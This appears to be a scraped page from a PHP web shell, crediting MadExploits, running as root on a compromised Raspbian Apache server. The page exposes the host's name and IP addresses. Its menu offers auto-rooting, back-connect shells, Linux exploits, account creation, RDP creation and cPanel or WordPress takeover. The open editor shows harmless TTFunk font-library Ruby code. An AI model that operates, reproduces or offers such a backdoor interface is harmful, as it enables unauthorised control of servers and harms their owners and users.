Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.228
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
vendor_ruby /
ttfunk /
table /
[ HOME SHELL ]
Name
Size
Permission
Action
cmap
[ DIR ]
drwxr-xr-x
glyf
[ DIR ]
drwxr-xr-x
kern
[ DIR ]
drwxr-xr-x
post
[ DIR ]
drwxr-xr-x
cmap.rb
951
B
-rw-r--r--
glyf.rb
1.91
KB
-rw-r--r--
head.rb
1.21
KB
-rw-r--r--
hhea.rb
1.08
KB
-rw-r--r--
hmtx.rb
1.31
KB
-rw-r--r--
kern.rb
2.59
KB
-rw-r--r--
loca.rb
1.17
KB
-rw-r--r--
maxp.rb
1.17
KB
-rw-r--r--
name.rb
3.67
KB
-rw-r--r--
os2.rb
2.17
KB
-rw-r--r--
post.rb
2.23
KB
-rw-r--r--
sbix.rb
1.76
KB
-rw-r--r--
simple.rb
205
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : post.rb
require_relative '../table' module TTFunk class Table class Post < Table attr_reader :format attr_reader :italic_angle attr_reader :underline_position attr_reader :underline_thickness attr_reader :fixed_pitch attr_reader :min_mem_type42 attr_reader :max_mem_type42 attr_reader :min_mem_type1 attr_reader :max_mem_type1 attr_reader :subtable def self.encode(post, mapping) return nil unless post.exists? post.recode(mapping) end def fixed_pitch? @fixed_pitch != 0 end def glyph_for(_code) '.notdef' end def recode(mapping) return raw if format == 0x00030000 table = raw[0, 32] table[0, 4] = [0x00020000].pack('N') index = [] strings = [] mapping.keys.sort.each do |new_id| post_glyph = glyph_for(mapping[new_id]) position = Format10::POSTSCRIPT_GLYPHS.index(post_glyph) if position index << position else index << 257 + strings.length strings << post_glyph end end table << [mapping.length, *index].pack('n*') strings.each do |string| table << [string.length, string].pack('CA*') end table end private def parse! @format, @italic_angle, @underline_position, @underline_thickness, @fixed_pitch, @min_mem_type42, @max_mem_type42, @min_mem_type1, @max_mem_type1 = read(32, 'N2n2N*') @subtable = case @format when 0x00010000 extend(Post::Format10) when 0x00020000 extend(Post::Format20) when 0x00025000 raise NotImplementedError, 'Post format 2.5 is not supported by TTFunk' when 0x00030000 extend(Post::Format30) when 0x00040000 extend(Post::Format40) end parse_format! end def parse_format! warn format('postscript table format 0x%08X is not supported', @format) end end end end require_relative 'post/format10' require_relative 'post/format20' require_relative 'post/format30' require_relative 'post/format40'
Close